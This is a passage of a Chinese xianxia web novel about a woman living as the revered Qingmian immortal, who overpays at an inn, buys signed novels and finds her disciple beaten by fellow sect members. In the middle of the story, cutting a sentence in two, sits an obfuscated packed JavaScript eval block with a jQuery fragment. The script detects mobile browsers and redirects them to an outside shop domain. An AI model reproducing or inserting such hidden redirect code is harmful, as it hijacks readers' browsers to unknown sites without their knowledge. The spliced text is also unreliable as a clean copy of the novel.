不知是谁压着嗓子吼了一声,嘈杂的声音再度传开,大堂内一片哗然。
“青眠仙君竟然下山了!”
“我去,竟然和灵网画像一模一样,我一直以为那些画像都后期微调过……”
“谁说这没有修为啊,灵网这些年真是乌烟瘴气的,这看着就高深莫测啊,凡人能有这气质吗?这比画像上的神仙还纯!怪不得徒弟个个是天才!”
“你们说待会青眠仙君会不会见我天赋异禀,忽然收我为徒?”
“天还亮着呢道友你怎么开始做起了夜梦?”
“……”
江照鱼依稀听见几句被吹捧的话,从尾椎骨上升一股酥麻,飘飘欲仙。
原来当明星是这种感觉。
她维持着冷淡的脸,将这辈子的伤心事都想了一遍,才勉强压制住想疯狂上扬的嘴角,对着掌柜高深莫测开口:“两间上房,先住一晚。”
刚蹦极过,她得缓一缓。
而且《囚禁仙尊三千年》的开售时间是明日辰时,盛记书坊离天香楼只隔了一条街,她还要抢亲签。
掌柜的是个五十多岁的胖老头,姓钱,耳尖的听见眼前这位似乎是位大人物,当即掬起笑脸,“仙君大驾光临,是小店的荣幸,不敢收仙君的银子,这个,还请仙君海涵,小店如今只剩下一间上房了,实在腾不出两间了。”
江照鱼:“那就一间。”
她摸出一颗紫色的灵石放在账台上。
大堂内鸦雀无声,修士连同凡人齐齐噤声。
江照鱼心里打起鼓,她没仔细看各种灵石和银子的汇率,但依稀记得一块下品灵石都能兑换二两银子。
这颗紫色的石头会发光,是她那堆“工资”里面最漂亮的,比灰扑扑的下品灵石贵多了……
等等,凡人地界的物价不会和她想象中的那种古代银两物价不一样吧,二两银子难道只够买一个肉包子吗?
“可是不够?”
“够够够!”
钱掌柜颤着声,虚虚擦着额头上的汗,这灵石怕不是能将他整个小店买下来!
不愧是视钱财如粪土的上仙,出手便是极大的手笔,简直壕无人性!
“小的是想,仙君想住住着便是,怎么能……”
江照鱼:“不必找了。”
钱掌柜张了张口,却只看了一眼江照鱼的脸便被唬住,哪里敢反驳上仙的话,连忙恭敬的将钥匙递上:“是是是,仙君这边请!”
江照鱼随着钱掌柜上楼。
人影消失在楼梯间,便听到大堂内传出一阵轰然。
“一出手就是紫金石,那可是紫金石啊!我们门派长老一年的俸禄才只值半块紫金石!”
“给天香楼掌柜赚翻了,呜呜呜,我去青眠仙君必经之路再建一家客栈还来得及吗?”
江照鱼:“……”
听明白了,这波成冤大头了,特意挑出来最漂亮的那颗装阔,竟然是价值千金的灵石吗。
扼腕叹息!
要是不可能再去要回来的了,她要脸。
而且主要是,这样的紫色灵石,其实她还有很多。
今晚就恶补修真界灵石汇率!
天香楼是幽州东城区内最大的酒楼,上房犹如普通人家的三室一厅。
三道隔断将厢房隔成四个小空间,从门口进去,依次是用膳的地方,看书写字的地方,睡觉的地方,以及沐浴的地方。每层隔断都设了纱帘和珠帘,放下便是密闭的空间。
为了让花出去的钱能够回点本,江照鱼点了一大桌子的菜。
掌柜的下楼备菜,谢佑安将第二间的罗汉榻收拾出来,铺上被褥。
大堂的修士提醒了江照鱼,她可有足足三个徒弟,都天赋异禀。
两个徒弟显然都有过节,另外那个,不出意外也免不了。
正好现在得了空,江照鱼便开口问道:“佑安,我与施莫脩的关系,应当也不太好,对吗?”
施莫脩便是原身的二徒弟,是三人中唯一一个灵网上鲜少提起的,听起来天赋应该不及谢佑安和萧砚。
但江照鱼不敢再放松警惕。
灵网上对本就对青眠仙君师徒间的关系提及甚少,说起来就是一句师慈徒孝,原身应当是面上一套背后一套,加上十大宗门同气连枝,无相宗的内部人员能将原身删的没有黑料。
以防再度被耍,她这次要提前摸清楚对方的底细。
谢佑安接过江照鱼给他递来的被子,愣了一下,“施莫脩是师伯分配来的弟子,拜入青眠山后便云游去了,只在师尊过生辰时回来。”
“原来如此。”她问:“他为人如何?”
谢佑安:“内敛谦和,不争不抢。”
如此甚好。
想起什么,江照鱼问:“我的生辰是?”
谢佑安:“七月初三。”
今天是六月初七,还有不到一个月的时间,就能集齐和原身三个徒弟的会面。
有谢佑安的话,江照鱼放心了,施莫脩是温景谦塞过来的人才,和原身并不熟,她终于能见到正常的师徒关系了,可喜可贺!
……
日暮西山。
钱掌柜应江照鱼所求,送来了一副斗篷和一顶帷帽。
谢佑安仍是坐在罗汉榻上盘腿修炼,双眸始终闭着。
江照鱼对他这副似是封闭五感,毫不关心的模样感到十分满意,和陌生男子同居一室的不自在感几乎降低为零。
她将灵网媒介搬到最里面那间的屏风后面,舒舒服服洗热水澡的同时,灵网播放着剑修和魔修的打斗画面。
简直堪比大型玄幻电影,时间恰好是一炷香,播放完,她就洗完了。
类似可以闲暇时光观看的影像她存了好几个。
修真界人才辈出,天才走到哪里都备受瞩目,甚至如今灵网上还衍生出了一些表演型影像,将历来大能的传说演绎成一部纪录片。
江照鱼喜欢拉到最后直接看大佬降维打击。
穿着一身雪白的里衣,她坐到床边慢吞吞的擦拭头发,一边将灵网媒介又搬回来,游览了一下盛记书坊的信息。
待头发干了,她便灭了烛火,盖上被褥,安详的闭目睡去。
夜凉如水,一抹黑气悄然从窗缝中挤入,飘到熟睡的美人面前,盘旋靠近。
一双血色的竖瞳猛然在黑暗中张开,暗藏着阴郁森然的冷光,似是蛰伏在暗处的狩猎者。
那飘荡的黑气害怕的颤了一下,无声的在原地散开,消失的无影无踪。
江照鱼一夜无梦。
第二日醒来,朦胧的视线最先看到的是外间坐在罗汉榻上维持着打坐姿势的谢佑安。
安分守己的,很安心。
不过这也让江照鱼更加坚定了一件事—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841432|211659||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
—
修仙还不如读高三,她绝对不会迈入修仙这道鬼门关。
没打扰谢佑安继续刻苦修炼,江照鱼穿上斗篷戴上帷帽,下楼时吩咐了一声钱掌柜给她徒弟备点好菜送进去莫要打扰,便朝着盛记书坊扬长而去。
最终,青眠仙君以两块紫金石的巨价心满意足的收到了捆出的高价亲签实体。
《囚禁仙尊三千年》已经连载五册,二道贩子还捆绑了八册乱七八糟的话本,江照鱼觉着扔了可惜,也不失为无聊时的读物,便一并带走。
抱着十三本书册回酒楼未免太招摇,她在路上买了个食盒,将精神食粮放了进去。
——若是被人认出身份,她大可以说是给大徒弟下楼买饭。
真是机智啊江照鱼!
江照鱼悠哉悠哉的逛回去,早晨出来时还宽阔清闲的天香楼,此时已经人满为患。
满的不太正常。
昨天他们来的时候,是大中午的饭点,天香楼也只是大堂内坐满了人。今日才巳时过半,不过十点钟,就连门口都围满了人。
江照鱼第一反应便是有人闹事。
她自知毫无修为,又声名远扬,唯恐殃及自己这条池鱼,往后退了一些。
里面叽叽喳喳,围观的群众熙熙攘攘,听起来义愤填膺。
江照鱼实在好奇,一步跨到石墩子上打算偷望两眼——吃到了身高不够的苦。
其实原身不算矮,但问题是门口一群大壮汉。
江照鱼仗着有帷帽遮面,斗篷遮形,紧紧拉住帷帽中间劈开的纱,心虚的捏着嗓子向一旁看起来就是凡人的高个子壮汉粗声询问:“阁下,敢问里面发生了何事?”
壮汉视线不离堂内,敷衍道:“哦,修士打起来了。”
修士在幽州内无特殊情况并不能使用灵力,否则是大忌,互相打架无非是拳打脚踢,没什么好看的,江照鱼一听,不感兴趣,当即要走。
那壮汉义愤填膺的啐了一声:“呸,真不是东西,以多欺少,这大师兄也是个没用的,就这样挨揍!”
这话又说回来了,江照鱼倒退回去。
“大师兄?”
壮汉目不斜视:“是啊,他们说他调戏那个女的,要他跪下道歉,他说没有,就打起来了,桌子都碎了三张,现在他们摁着他道歉呢。”
同门之间竟然闹这么大,说不定会上灵网,也算是吃到一手瓜了。
江照鱼好奇道:“哪个宗门的?”
壮汉:“灵溪派的,哦,就是东边那座仙山上那个,咋了,你认识啊?”
江照鱼血液迅速凝固,温和笑意僵在脸上,被风一吹,碎成一堆。
何止认识。
“……”
灵溪派的大师兄不就是谢佑安吗!
原身这一辈中,原身是第一个收徒的!
江照鱼深吸了一口气,面色冷漠:“麻烦让我一下。”
壮汉一听立马不乐意了,再让他就要出局看不到,真以为热闹那么好遇到?
不满的视线随之看去,问候对方父母的话正到嘴边,见女子脱下了帷帽和斗篷。
一张冰冷如画般的俊颜,眉心一点朱砂痣,简直比仙山上的神仙还像神仙。
“你特娘的——快请!”硬生生的将话又憋了回去,态度一百八十度急转,点头哈腰般的接过对方的斗篷和帷帽,动作一气呵成。